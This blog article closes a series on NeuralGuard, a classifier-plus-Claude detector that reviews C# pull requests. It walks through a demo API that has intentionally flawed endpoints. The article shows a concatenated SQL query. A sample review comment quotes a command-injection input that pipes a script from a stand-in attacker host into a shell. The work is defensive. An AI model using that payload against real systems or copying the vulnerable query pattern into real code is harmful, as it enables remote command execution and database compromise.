Thirteen articles later, every piece exists. This last one puts them to work together.
The example repository
NeuralGuard.Playground is a small API built to be analyzed, not to be used. Each of its features exists in two versions: one with the flaw and one with the same thing done correctly.
| Feature | Flawed version | Correct version |
|---|---|---|
| Search user by name | query built by concatenation | query with a parameter |
| Download report | file name straight into the path | name stripped and path checked |
| Preview report | title written into HTML untreated | title passed through encoding |
| Import report | type chosen by the data that arrived | type pinned at compile time |
| Convert report | path inside a shell line | none, on purpose |
The correct versions are not there just for symmetry. They are the test of the detector: they are code that does the same thing, with the same look, and that it must not accuse.
The pull request
The scenario is the most common there is: somebody needs a search by name and writes the query the way that first comes to mind.
[HttpGet("search")]
public IActionResult Search(string name)
{
var sql = "SELECT * FROM Users WHERE Name = '" + name + "'";
using var command = new SqlCommand(sql, connection);
using var reader = command.ExecuteReader();
return Ok(Read(reader));
}Except this is the first pull request in the repository, so it does not bring one isolated change, it brings the whole API at once: both controllers, the report model and the application startup. Nine endpoints, five with a flaw and four with the correct version alongside.
It is the worst possible case for the detector, and that is why it is a good test. It will receive, in the same diff, the vulnerable code and the correct code that looks like it.
What happens, step by step
As soon as the pull request is opened, the workflow starts.
.NET is installed on the virtual machine, and the model cache is restored. Since this repository has run the pipeline before, the CodeBERT body comes from the cache and is not downloaded again.
The tool is installed with one command.
The diff is computed against the target branch, limited to .cs files. It contains the lines added in both places.
The snippets are separated. Added lines that sit together become blocks, each with the file and the line where it starts.
The classifier runs on each block. It is fast and costs nothing, because it runs right there.
Out of the thirteen blocks analyzed, it raises five suspicions:
| Snippet | Classifier verdict | Confidence |
|---|---|---|
| The concatenated query | SQL Injection | 100% |
| The title written straight into the HTML | Cross-Site Scripting | 97% |
| The shell built with the file path | Command Injection | 93% |
The top of ReportsController, declarations only | Insecure Deserialization | 91% |
Program.cs, dependency registration only | Insecure Deserialization | 93% |
The first three are right. The last two are not: they are code that deserializes nothing, and the classifier accused them anyway. It is the false positive the series has been anticipating since the article about the second opinion, happening on its own, without me picking the example.
All five clear the 0.6 threshold, so all five go to review. The other eight blocks, which the classifier found safe, stop here and cost nothing.
Claude analyzes each one, receiving the snippet, the file, the line and which category was flagged.
For the concatenated query, it confirms. The value comes from outside, enters the text of the command, and whoever controls the parameter controls what the database runs.
For the title in the HTML, it confirms. The parameter arrives through the query string and is written into the page with no encoding.
For the shell, it confirms and goes further, showing an input that would break out of the quotes and append another command.
For the two deserialization ones, it dismisses. In one case they are only using directives and the opening of the class. In the other it is the application's dependency registration. Neither has a deserialization call anywhere, and it says so in those words.
The comment is published with all five results, the three confirmed and the two dismissed.
The check fails, because there was a confirmation. Since the check is marked as required in the branch rules, the merge button becomes unavailable.
What the person sees
What arrives on the pull request is not a list of alerts, it is a text that explains each finding with the code in front of it:
## NeuralGuard
Analyzed 13 changed snippets. The classifier raised 5 finding(s),
and 3 were confirmed by the review.
### Command Injection in ReportsController.cs (line 49)
Classifier confidence: 93 %
**Confirmed**: The inputPath action parameter is bound from the HTTP
request and concatenated directly into a /bin/sh -c "..." command string
passed to Process.Start, so a value like x"; curl attacker.com|sh; #
executes attacker-chosen shell commands. Invoke pandoc directly with an
argument list (ProcessStartInfo.ArgumentList) instead of a shell.Notice the explanation does not repeat the category name and leave. It says where the data comes from, what happens to it, shows an input that exploits the flaw, and ends with what to do. That is the difference between warning and helping.
And notice what is implicit there: the three confirmations arrived with no false positive alongside them. Whoever opened the pull request reads three accusations and all three hold, so they deal with all three. If one of them were noise, the chance of them ignoring the other two would grow a lot.
The fix and the unblock
The person fixes the query:
var sql = "SELECT * FROM Users WHERE Name = @name";
using var command = new SqlCommand(sql, connection);
command.Parameters.AddWithValue("@name", name);They push. The workflow runs again, the classifier no longer finds anything, and the existing comment is updated instead of a new one appearing. The check goes green and the merge is released.
What it costs and how long it takes
Some approximate numbers, to give a sense of scale.
The whole run takes a little over a minute, most of it installing .NET and the tool. The analysis itself is the fast part.
The cost in paid calls is proportional to what cleared the threshold, and not to the size of the pull request. A large pull request with ordinary code generates no call at all. This one, with five suspicions across thirteen blocks, generated five.
The 500 megabyte download happens once per repository, because of the cache.
What this system does not do
A security tool that is not clear about its own limits is dangerous, because it builds confidence where it should not. And one of the items on this list only showed up because the detector ran outside my machine.
The result depends on the operating system. I ran exactly the same diff, with the same version of the tool and the same model, on Windows and on Linux. Windows flagged three snippets. Linux flagged five, with different confidences:
| Snippet | Windows | Linux |
|---|---|---|
| SQL Injection | 97% | 100% |
| Command Injection | 97% | 93% |
| Cross-Site Scripting | not flagged | 97% |
It is not randomness: on the same machine the result repeats identically, and the Linux run on my machine reproduced the GitHub runner finding for finding. What changes is the platform, and snippets sitting near the threshold switch sides because of it.
In practice, the numbers in this article are the Linux ones, because that is where the Action runs. Anyone who installs the tool and runs it on Windows will see a different result on the same pull request, and that is not a broken install.
The second opinion does not reach what was never flagged. Claude is only called when a suspicion goes up. Whatever the classifier called safe never reaches it, and the report does not have a line about it. With Path Traversal at 57.8% recall, that is not hypothetical.
It only reads C#. All the training material is C#, and the patterns of another language are not in there.
It only looks at added lines. That is deliberate, but it has a real cost: if somebody introduces a vulnerability by removing a validation that existed, the detector does not see it. What entered the diff was a removal, and removals are not analyzed.
It judges snippets, not the system. The review receives a small piece of code, without the rest of the project. If the safety of that snippet depends on a validation done three layers above, that information is not available to anyone in the pipeline.
It knows five categories. There are many others, and what is not in the training material is not looked for.
It does not replace the other defenses. That is a repeat of what the article about vulnerable code already said: this is one layer, which adds to code review, to tests, to the analysis tools GitHub itself offers. Never in their place.
The answer can vary. Language models are not deterministic. The same snippet can receive an explanation written differently on a second run. The verdict tends to be stable, but it is not guaranteed by contract.
Series conclusion
Worth looking at the whole road.
We started with a detector that lived inside a console app and was no use to anyone day to day.
We went through five vulnerabilities, one at a time: SQL Injection, Cross-Site Scripting, Command Injection, Path Traversal and Insecure Deserialization. In all of them, the same root: data from outside being treated as structure, and the fix always separating one from the other.
We trained the classifier on top of CodeBERT, freezing the body so it would fit in a repository.
We found out the first exam was worth nothing, fixed the split, and the numbers dropped to their real value.
We packaged it as a terminal tool, taught Claude to give the verdict, assembled the Action and made the result count.
If there is one idea I would want to stick, it is the one from the tenth article.
A classifier with 77.3% accuracy looks like a mediocre result, the kind that makes you want to improve it before showing anyone. And it is excellent at the job it was given here, which is raising suspicion without letting things through. What it could not do was decide on its own.
Much of the value of this project is not in the model, but in having given each part a job it can do well: the small model filters fast and cheap, the large model judges with context, and the pipeline makes sure that happens without anybody having to remember.
All the code is on GitHub, in the three repositories the series used, and you can run it against your own pull requests:
- NeuralGuard, the engine: the classifier, the Claude client and the command line tool
- NeuralGuard.Action, the Action that runs all of it on every pull request
- NeuralGuard.Playground, the API with the flawed and the correct version of each endpoint